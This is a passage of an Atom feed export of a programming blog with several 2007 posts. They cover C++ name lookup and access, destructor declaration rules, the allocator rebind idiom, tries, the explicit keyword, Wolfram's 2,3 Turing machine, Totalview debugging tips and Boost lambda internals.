the compiler performs overload resolution to pick the unique best match out of the list of candidates. In this case, the argument is 21, which is an int, and the available overloads take a double, an int, and a complex&lt;float&gt;. Clearly the int parameter is the best match for the int argument (it's an exact match and no conversions are required), and so Twice(int) is selected.&lt;br /&gt;   c. Finally, the compiler performs accessibility checking to determine whether the selected function can be called. In this case... boom thud splatter.&lt;br /&gt;&lt;br /&gt;4. A private member is visible to all code that sees the class's definition. This means that ... it participates in name lookup and overload resolution and so can make calls invalid or ambiguous even though it itself could never be called.&lt;br /&gt;&lt;br /&gt;5. Code that has access to a member can grant that access to any other code, by leaking a (name-free) pointer to that member.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;reference&gt;&lt;br /&gt;1. (Mostly) Private, Herb Sutter, C/C++ Users Journal, Jul 01 2003&lt;br /&gt;&lt;/reference&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-3055616026131622157?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3055616026131622157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/3055616026131622157'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/11/c-function-visibility-and-accessibility.html' title='C++: function visibility and accessibility: lookup and overloading'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-22046710807295363</id><published>2007-11-19T11:10:00.000-05:00</published><updated>2007-11-19T16:21:56.475-05:00</updated><title type='text'>C++: rules of destructor declaration</title><content type='html'>A C++ class destructor is responsible to release the resource this class allocates during its lifetime. For a class that does not allocate any resource explicitly, it's often neglected by the class implementor and compilers merrily generate an implicit public destructor that is often suffice.&lt;br /&gt;&lt;br /&gt;Things become a little more complicated when a class does allocate resource and needs to release it during destruction. The &lt;b&gt;first rule&lt;/b&gt; that concerns C++ destructor is called 'rule of three', which states if one must define a destructor, one must also define copy constructor and copy assignment operator. Vice versa, if one of those three functions needs to be defined, then all three need to be defined. This rule ensures proper resource management to avoid resource leak or dangling resource.&lt;br /&gt;&lt;br /&gt;The 'rule of three' is best applied to a concrete class that sports no inheritance or polymorphic behavior. Otherwise the rule becomes more complicated. One popular rule concerning base class destructor is that 'base class destructor must be virtual'. In fact compilers such as GNU C++ compiler issue diagnostics when it detects a base class destructor is not defined virtual. &lt;br /&gt;&lt;br /&gt;However, as all rules, it's important to understand the intention and applicability of a rule and to act best according to its spirit. The intention of the fore mentioned base destructor rule is to ensure proper resource management when client code deletes a derived class object through a base class pointer. Given this guideline, one could make such an observation that one can simply disallow such erroneous behavior when appropriate. To do this, the base class destructor can be declared protected and non-virtual. Once this is done, such a destructor is no longer accessible to client code through delete. The mechanism of delete is explained in a previous entry on this blog. Basically, a delete call performs the following step, 1) call class destructor, polymorphically when its virtual; 2) call class operator delete if it's defined; else call global operator delete if it's defined; else call default std::delete to release the memory this class object occupies. &lt;br /&gt;&lt;br /&gt;When a base class destructored is declared protected, client code can no longer delete a base pointer because the base destructor is only accessible to its derived class but not to the client code. Any client code insists doing so will be diagnosed with a compiler error.&lt;br /&gt;&lt;br /&gt;Why would we want to this instead of simply following the 'base destructor must be public virtual'? &lt;br /&gt;&lt;br /&gt;1) Performance, without virtual function, virtual function dispatching overhead is no longer incurred. This can provide significant performance boost on architectures that supports pipelining, speculative execution, TLBs, paging and caching. Because virtual function dispatching involves pointer indirection, it's likely that page faults will be generated and TLBs flushed and repopulated. Due to the extreme dynamic nature of virtual function dispatching, destination code will only be known at the last point of runtime execution, pipelining and speculative execution will be stalled and results flushed to accommodate immediate code branching. &lt;br /&gt;&lt;br /&gt;2) Design, it simply does not make sense to have virtual public destructor when it's known a priori that such a class hierarchy does not manage any kind of resource. &lt;br /&gt;&lt;br /&gt;Given these arguments, the &lt;b&gt;second rule&lt;/b&gt; of destructor declaration is that 'base class destructor should be either protected non-virtual or public virtual, with protected non-virtual preferred'.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;reference&gt;&lt;br /&gt;1. Virtuality, Herb Sutter, C/C++ Users Journal, 19(9), September 2001&lt;br /&gt;2. Generic: Change the way you write exeption-safe code---forever, Andrei Alexandrescu and Peru Marginean, C/C++ Users Journal, Dec 01, 2000&lt;br /&gt;&lt;/reference&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-22046710807295363?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/22046710807295363'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/22046710807295363'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/11/c-rules-of-destructor-declaration.html' title='C++: rules of destructor declaration'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-161070543832128873</id><published>2007-11-15T11:42:00.000-05:00</published><updated>2008-01-03T12:12:07.677-05:00</updated><title type='text'>C++: Understand rebind</title><content type='html'>You may have seen some esoteric C++ line such as this one:&lt;br /&gt;&lt;br /&gt;typedef typename _Alloc::template rebind&lt;_Tp&gt;::other alloc_type;&lt;br /&gt;&lt;br /&gt;In fact if you have read my previous entry on std::vector internal, you have read this line. Naturally the first question is what this line means?&lt;br /&gt;&lt;br /&gt;It defines another _Alloc type (alloc_type) bound by a template parameter _Tp. It behaves just like _Alloc except that it is templatized by _Tp. It's not known at this point exactly what type _Alloc or alloc_type is. _Alloc could be a non-template type; it could be a template class and have 1,2,3...arbitrary number of template parameters. But we know that _Alloc has a inner template class named "rebind" that takes a single template parameter (apart from default template parameters rebind might define).&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;_Alloc_type{&lt;br /&gt;public:&lt;br /&gt;    template &lt; typename U&gt;&lt;br /&gt;    struct rebind{ &lt;br /&gt;        typedef some_type &lt; U&gt; other;                       // (a)&lt;br /&gt;        //typedef _Alloc_type &lt; U&gt; other;                   // (b)&lt;br /&gt;        //typedef _Alloc_type &lt; U, T1, T2, T3, T4&gt; other;   // (c)&lt;br /&gt;    };&lt;br /&gt;};&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Apart from the theoretical possibilities, the common use of rebind is in conjuncture with a templatized _Alloc_type. Let's rule out case (a) where rebind really has nothing to do with _Alloc_type and becomes a rhetoric exercise. (b) and (c) are equally valid, and currently in STL, we see a pervasive use of case (b). &lt;br /&gt;&lt;br /&gt;Let's expand case (b)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;template &lt; typename T&gt;&lt;br /&gt;struct _Alloc_type{&lt;br /&gt;    template &lt; typename U&gt;&lt;br /&gt;    struct rebind{&lt;br /&gt;        typedef some_type&lt; U&gt; other;                       // (a)&lt;br /&gt;        //typedef _Alloc_type&lt; U&gt; other;                   // (b)&lt;br /&gt;        //typedef _Alloc_type&lt; U, T1, T2, T3, T4&gt; other;   // (c)&lt;br /&gt;    };&lt;br /&gt;};&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Let's also define a client class that will use _Alloc_type&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;template &lt; typename T, typename U, class _Alloc = _Alloc_type &lt; T&gt; &gt;&lt;br /&gt;struct client{&lt;br /&gt;    typedef typename _Alloc::template rebind&lt; U&gt;::other alloc_type;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;client&lt; int, int *&gt;::alloc_type allocator;&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;this client structure converts a int allocator to a int * allocator. Such an exercise may seem in vain given that one can simply write something simpler and equivalent:&lt;br /&gt;&lt;br /&gt;_Alloc_type&lt; int *&gt; allocator;&lt;br /&gt;&lt;br /&gt;So here is the 2nd question, why would anyone sane want to do something so strange? Let's see the power of such a construct by redo the code structure, such as the way it's used in std::vector:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;template &lt; typename T, typename _Alloc&gt;&lt;br /&gt;struct client_base {&lt;br /&gt;    typedef typename _Alloc::template rebind&lt; T&gt;::other alloc_type;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt; typename T, typename _Alloc = std::allocator &lt; T&gt; &gt;&lt;br /&gt;struct client : client_base&lt; T, _Alloc&gt; {&lt;br /&gt;};&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here client_base takes a template parameter _Alloc from its derived client class. It is obvious that client_base has no knowedge of the exact type of _Alloc. It does not know if _Alloc will fulfill its need to work with type T. But it knows that _Alloc abide by the contract that _Alloc provides a rebind template to create another _Alloc that will work with any type T. The rebind idiom provides an excellent detour/indirection to create another type that behaves like _Alloc and works on any type T.&lt;br /&gt;&lt;br /&gt;To better understand the idea of rebind, let's also expand case (c):&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;&lt;br /&gt;template &lt; typename T, typename T1, typename T2, typename T3, typename T4&gt;&lt;br /&gt;struct custom_allocator {&lt;br /&gt;    template &lt; typename U&gt;&lt;br /&gt;    struct rebind{&lt;br /&gt;        typedef _Alloc_type&lt; U, T1, T2, T3, T4&gt; other;   // (c)&lt;br /&gt;    };&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt; typename T, typename _Alloc&gt;&lt;br /&gt;struct client_base {&lt;br /&gt;    typedef typename _Alloc::template rebind&lt; T&gt;::other alloc_type;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;template &lt; typename T, typename T1, typename T2, typename T3, typename T4, typename _Alloc = custom_allocator&lt; T, T1, T2, T3, T4&gt; &gt;&lt;br /&gt;struct client : client_base&lt; T3, _Alloc&gt; {&lt;br /&gt;};&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here client::_Alloc is custom_allocator&lt; T, T1, T2, T3, T4&gt; but client_base::alloc_type is custom_allocator&lt; T3, T1, T2, T3, T4&gt;.&lt;br /&gt;&lt;br /&gt;rebind (policy clone) is a powerful idiom to create an indirection for template types to bind together and construct new types on the fly without prior knowledge of a class template, e.g. how many template parameters it requires to instantiate and it puts no limit on the number of template parameters an abiding class template has.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;&lt;reference&gt;&lt;br /&gt;1. &lt;a href="http://en.wikibooks.org/wiki/More_C%2B%2B_Idioms/Policy_Clone"&gt;Policy Clone&lt;/a&gt;&lt;br /&gt;2. Template Typedef, Herb Sutter, GotW #79&lt;br /&gt;&lt;/reference&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-161070543832128873?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/161070543832128873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/161070543832128873'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/11/c-understand-rebind.html' title='C++: Understand rebind'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7889674700976418535</id><published>2007-11-15T10:43:00.000-05:00</published><updated>2008-01-03T13:38:22.623-05:00</updated><title type='text'>Trier Tree distilled</title><content type='html'>If you walk into any interview that deals with text processing. You will inevitably be asked a question that involves a Trier Tree (TT). A TT is a special tree with its edge marked by identification symbol and its vertex (node) marked by success/failure of predetermined condition.&lt;br /&gt;&lt;br /&gt;Take the typical definition of a TT whose edge is a alphabet letter and vertex indicating if a word can be found in a dictionary connecting all edge letters from root to here. This is the most common use of a TT. Another scenario involves having edges marked by numeric letter and node indicating if a telephone number can be found in a phone book connecting all edge numbers from root to here.&lt;br /&gt;&lt;br /&gt;It can be summarized that a TT is a tree to describe a structure of composition from elemental building blocks to some known super structures. Symbolically, let E{x | x belongs to E} denote elemental building blocks and S{y | y belongs to S} denote super structures. All edge symbols of TT belongs to E and connecting edge symbols along a path results in c that either belongs to S {y} or not.&lt;br /&gt;&lt;br /&gt;A easy way to understand TT is to think of it as if it's composed of many paths, some path terminates with a success symbol and some path terminates with a failure symbol. &lt;br /&gt;&lt;br /&gt;Take this example, banana, we know that ban and banana are both valid words by looking up a dictionary. R is root, F is failure, S is success, ---(alpha)--- is a edge. According to the dictionary we construct a TT such as following:&lt;br /&gt;&lt;br /&gt;R---b---&gt;F---a---&gt;F---n---&gt;S---a---&gt;F---n---&gt;F---a---&gt;S&lt;br /&gt;&lt;br /&gt;Now given the challedge 'is ba a word?', by following such a TT, we know that it ends up with a vertex symbol F indicating 'ba' is not a word.&lt;br /&gt;&lt;br /&gt;More complicated TT can be built by following such a principle, first there is a dictionary of all super structures S that can be broken down into elemental building blocks E. Start from root R, create a path for each y in S using its building blocks x in E as edge symbols, mark each vertex on its path F if it's a new vertex and mark its ending vertex S. After creating such a TT, then it can be used to verify any y in S in O(length(y)) time.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7889674700976418535?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7889674700976418535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7889674700976418535'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/11/trier-tree-distilled.html' title='Trier Tree distilled'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-6228065684364539842</id><published>2007-11-08T12:46:00.002-05:00</published><updated>2008-04-02T11:02:55.326-05:00</updated><title type='text'>Using Explicit in C++ (Repost)</title><content type='html'>Using Explicit in C++&lt;br /&gt;http://www.glenmccl.com/tip_023.htm&lt;br /&gt;&lt;br /&gt;In C++ it is possible to declare constructors for a class, taking a single parameter, and use those constructors for doing type conversion. For example:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;        class A {&lt;br /&gt;        public:&lt;br /&gt;                A(int);&lt;br /&gt;        };&lt;br /&gt;        void f(A) {}&lt;br /&gt;        void g()&lt;br /&gt;        {&lt;br /&gt;                A a1 = 37;&lt;br /&gt;                A a2 = A(47);&lt;br /&gt;                A a3(57);&lt;br /&gt;                a1 = 67;&lt;br /&gt;                f(77);&lt;br /&gt;        }&lt;br /&gt;&lt;/source&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;A declaration like:&lt;br /&gt;&lt;br /&gt;        A a1 = 37;&lt;br /&gt;&lt;br /&gt;says to call the A(int) constructor to create an A object from the integer value. Such a constructor is called a "converting constructor".&lt;br /&gt;&lt;br /&gt;However, this type of implicit conversion can be confusing, and there is a way of disabling it, using a new keyword "explicit" in the constructor declaration:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;        class A {&lt;br /&gt;        public:&lt;br /&gt;                explicit A(int);&lt;br /&gt;        };&lt;br /&gt;        void f(A) {}&lt;br /&gt;        void g()&lt;br /&gt;        {&lt;br /&gt;                A a1 = 37;      // illegal&lt;br /&gt;                A a2 = A(47);   // OK&lt;br /&gt;                A a3(57);       // OK&lt;br /&gt;                a1 = 67;        // illegal&lt;br /&gt;                f(77);          // illegal&lt;br /&gt;        }&lt;br /&gt;&lt;/source&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Using the explicit keyword, a constructor is declared to be&lt;br /&gt;"nonconverting", and explicit constructor syntax is required:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;        class A {&lt;br /&gt;        public:&lt;br /&gt;                explicit A(int);&lt;br /&gt;        };&lt;br /&gt;        void f(A) {}&lt;br /&gt;        void g()&lt;br /&gt;        {&lt;br /&gt;                A a1 = A(37);&lt;br /&gt;                A a2 = A(47);&lt;br /&gt;                A a3(57);&lt;br /&gt;                A a4 = 10; // error&lt;br /&gt;                a1 = A(67);&lt;br /&gt;                f(A(77));&lt;br /&gt;        }&lt;br /&gt;&lt;/source&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Note that an expression such as:&lt;br /&gt;&lt;br /&gt;        A(47)&lt;br /&gt;&lt;br /&gt;is closely related to function-style casts supported by C++. For example:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode lang="cpp"&gt;&lt;br /&gt;        double d = 12.34;&lt;br /&gt;        int i = int(d);&lt;br /&gt;&lt;/source&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Declaring a single argument copy constructor explicit also means it cannot be used in standard containers because the standard requires support of implicit copy constructor in this form:&lt;br /&gt;T dest = src;&lt;br /&gt;&lt;br /&gt;Although this requirement is not widely implemented in most vendor STL implementations. Another factor is that STL usually works with 0 argument constructors where explicit does not come into play.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-6228065684364539842?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6228065684364539842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6228065684364539842'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/11/using-explicit-in-c-repost.html' title='Using Explicit in C++ (Repost)'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-585454650313128119</id><published>2007-10-24T21:42:00.000-05:00</published><updated>2007-10-24T21:47:33.513-05:00</updated><title type='text'>Wolfram's 2,3 turing machine was proven to be universal</title><content type='html'>http://www.wolframscience.com/prizes/tm23/solution_news.html&lt;br /&gt;http://www.wolframscience.com/prizes/tm23/TM23Proof.pdf&lt;br /&gt;&lt;br /&gt;A system is "Universal" if it can, given infinite memory and an appropriate program, compute any computable function. A previous system even more simple than this one, Rule 110, was proven to be Universal by one of Wolfram's associates (Wolfram had the idea that it might be, Matthew Cook discovered the proof). However, a Universal Turing machine has some extra requirements with regards to the implementation. So this is the simplest Universal Turing Machine.&lt;br /&gt;&lt;br /&gt;If you already know programming, then here's how to think of it:&lt;br /&gt;&lt;br /&gt;A Turing machine is a programming language.&lt;br /&gt;A Universal Turing machine is a language that is sufficiently flexible enough to perform any computation (including emulate any other Turing machine - i.e. language)&lt;br /&gt;A Non-Universal Turing machine is a language that is built to do a specific purpose well, but does not have enough flexibility to perform any computation.&lt;br /&gt;&lt;br /&gt;For computer programmers, nearly every general-purpose language we deal with on a daily basis is Turing-complete. An example of a non-Turing Complete language might be a configuration file. It has a language, you may even be able to do some basic scripting in it, but unless it is built out of a general-purpose language you cannot perform any computation in it.&lt;br /&gt;&lt;br /&gt;What they think it is useful for is to help us to make nanomachines easier. If we can construct a Turing machine with simpler parts, we can have a compiler that can pick up the slack in making the program.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-585454650313128119?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/585454650313128119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/585454650313128119'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/10/wolframs-23-turing-machine-is-proven-to.html' title='Wolfram&apos;s 2,3 turing machine was proven to be universal'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5530727245050546555</id><published>2007-10-24T10:30:00.000-05:00</published><updated>2007-10-24T10:39:26.340-05:00</updated><title type='text'>Totalview debugging tips</title><content type='html'>Totalview is a multi platform debugger that has the best support for parallel software debugging. Here are a couple of tricks I learnt recently:&lt;br /&gt;&lt;br /&gt;1. mpi application startup. With openmpi, use command 'mpirun -tv -np N program'. With mpich2, one can use either 'mpirun -tv -np N program' or 'totalview python -a `which mpiexec` -tvsu -np N program'. Totalview cannot restart program with the first command. Totalview GUI provides an interface to launch MPI application directly, one can specify the MPI library type, NP from the interface. This is the best way to start MPI program with totalview without platform dependent knowledge.&lt;br /&gt;&lt;br /&gt;2. Mixed language program debugging. This gem was provided by totalview tech support. Quote:&lt;br /&gt;&lt;quote&gt;&lt;br /&gt;One method that may be easier than others is to&lt;br /&gt;set a breakpoint in the C++ code where the variable is initialized&lt;br /&gt;(assuming it's in the C++ code where this happens).  Then you can dive&lt;br /&gt;on the variable, and if it gets returned to the Fortran code, you&lt;br /&gt;already have a handle on it.  Of course, sometimes it's not that simple.&lt;br /&gt;   But the basic idea is easy to follow.&lt;br /&gt;&lt;br /&gt;When in the Fortran code, dive on the variable in question.  In the data&lt;br /&gt;window, you should see a button that says More (and Less)  If you are&lt;br /&gt;using 8.3, it shows now as an arrow pointing down with a + sign next to&lt;br /&gt;it.  Clicking on this or the more button expands the header, and allows&lt;br /&gt;you to change the language to C or C++.  You should then be able to cast&lt;br /&gt;the type to a pointer to the appropriate structure. I've used the&lt;br /&gt;previous method (breakpointing in the C++ initialization routine) just&lt;br /&gt;to find the right type to cast to, but that was basically because I was&lt;br /&gt;unfamiliar with the code being looked at.&lt;br /&gt;&lt;/quote&gt;&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5530727245050546555?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5530727245050546555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5530727245050546555'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2007/10/totalview-debugging-tips.html' title='Totalview debugging tips'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1873516112024835401</id><published>2007-10-23T08:12:00.000-05:00</published><updated>2007-10-23T13:34:18.097-05:00</updated><title type='text'>C++ boost lambda internals</title><content type='html'>Theoretical Background:&lt;br /&gt;&lt;br /&gt;In computer science, lambda as an abbreviation refers to lambda function in lambda calculus (http://en.wikipedia.org/wiki/Lambda_calculus). lambda calculus is a fundamental concept in theory of computability developed by Alonzo Church. It's the theoretical foundation of many functional programming languages. &lt;br /&gt;&lt;br /&gt;Informally, in lambda calculus, every expression stands for a function with a single input, called its argument; the argument of the function is in turn a function with a single argument, and the value of the function is another function with a single argument. A function is anonymously defined by a lambda expression which expresses the function's action on its argument. For instance, the "add-two" function f such that  f(x) = x + 2  would be expressed in lambda calculus as  λ x. x + 2  (or equivalently as  λ y. y + 2;  the name of the formal argument is immaterial) and the application of the function f(3) would be written as  (λ x. x + 2) 3.  Function application is left associative:  f x y = (f x) y.&lt;br /&gt;&lt;br /&gt;Formally lambda calculus can be expressed in the following BNF rules:&lt;br /&gt;&lt;br /&gt;&lt;expr&gt; ::= &lt;identifier&gt;&lt;br /&gt;&lt;expr&gt; ::= (λ &lt;identifier&gt; . &lt;expr&gt;)&lt;br /&gt;&lt;expr&gt; ::= (&lt;expr&gt; &lt;expr&gt;)&lt;br /&gt;&lt;br /&gt;The first 2 rules are used to describe logical forms to construct lambda functions. The last rule describe applications of lambda function.&lt;br /&gt;&lt;br /&gt;Two note worthy observations from the above description:&lt;br /&gt;&lt;br /&gt;1) C++ non member function, static member function, non static member function, in general a C++ function that assumes the form of return_type func(argument) DOES not qualify as a lambda function because return_type cannot be function in C++. return_type could be a function pointer or a functor, used in a form similar to a function. Due to this reason, when we talk about C++ lambda function our relaxed defintion often does not conform to the precise definition given in lambda calculus.&lt;br /&gt;&lt;br /&gt;2) The 3rd rule implies that it's possible to have a lambda function that takes itself as argument and thus results in infinite recursion (left recursion) depending on the action the lambda function performs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;lambda in C++ &lt;br /&gt;&lt;br /&gt;A popular implementation of lambda calculus in C++ is provided by lambda library in boost distribution (http://www.boost.org/doc/html/lambda.html). First we start with a boost lambda example and demonstrate the internals of boost lambda. During investigation, the following tools are used: vim, grep, totalview, ksnapshot, g++&lt;br /&gt;&lt;br /&gt;#include "boost/lambda/lambda.hpp"&lt;br /&gt;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;#include &lt;algorithm&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;using namespace boost::lambda;&lt;br /&gt;&lt;br /&gt;int main(){&lt;br /&gt;&lt;br /&gt;    int x[5] = {1,2,3,4,5};&lt;br /&gt;&lt;br /&gt;    for_each(x, x+5, cout &lt;&lt; _1 &lt;&lt; '\n');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;In this example, we defined 2 lambdas (lambda and function with previous clarification are inter-exchangeable terms from now on) and applied lambda for_each on the 2nd user defined lambda 'cout &lt;&lt; _1 &lt;&lt; '\n'. &lt;br /&gt;&lt;br /&gt;_1 is a place holder defined in /usr/include/boost/lambda/core.hpp as:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;namespace boost {&lt;br /&gt;namespace lambda {&lt;br /&gt;&lt;br /&gt;namespace {&lt;br /&gt;&lt;br /&gt;  // These are constants types and need to be initialised&lt;br /&gt;  boost::lambda::placeholder1_type free1 = boost::lambda::placeholder1_type();&lt;br /&gt;  boost::lambda::placeholder2_type free2 = boost::lambda::placeholder2_type();&lt;br /&gt;  boost::lambda::placeholder3_type free3 = boost::lambda::placeholder3_type();&lt;br /&gt;&lt;br /&gt;  boost::lambda::placeholder1_type&amp; _1 = free1;&lt;br /&gt;  boost::lambda::placeholder2_type&amp; _2 = free2;&lt;br /&gt;  boost::lambda::placeholder3_type&amp; _3 = free3;&lt;br /&gt;  // _1, _2, ... naming scheme by Peter Dimov&lt;br /&gt;} // unnamed&lt;br /&gt;&lt;br /&gt;} // lambda&lt;br /&gt;} // boost&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;/usr/include/boost/lambda/detail/lambda_functors.hpp defines the placeholder1_type as:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;typedef const lambda_functor&lt; placeholder&lt;FIRST&gt; &gt;  placeholder1_type;&lt;br /&gt;template &lt;int I&gt; struct placeholder; &lt;br /&gt;    &lt;br /&gt;template&lt;&gt; struct placeholder&lt;FIRST&gt; {&lt;br /&gt;&lt;br /&gt;  template&lt;class SigArgs&gt; struct sig {&lt;br /&gt;    typedef typename detail::get_element_or_null_type&lt;0, SigArgs&gt;::type type;&lt;br /&gt;  };&lt;br /&gt;&lt;br /&gt;  template&lt;class RET, CALL_TEMPLATE_ARGS&gt; &lt;br /&gt;  RET call(CALL_FORMAL_ARGS) const { &lt;br /&gt;    BOOST_STATIC_ASSERT(boost::is_reference&lt;RET&gt;::value); &lt;br /&gt;    CALL_USE_ARGS; // does nothing, prevents warnings for unused args&lt;br /&gt;    return a;&lt;br /&gt;  }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;Or in the form after macro expansion:&lt;br /&gt;&lt;br /&gt;template &lt;int I&gt; struct placeholder;&lt;br /&gt;&lt;br /&gt;template&lt;&gt; struct placeholder&lt;FIRST&gt; {&lt;br /&gt;&lt;br /&gt;  template&lt;class SigArgs&gt; struct sig {&lt;br /&gt;    typedef typename detail::get_element_or_null_type&lt;0, SigArgs&gt;::type type;&lt;br /&gt;  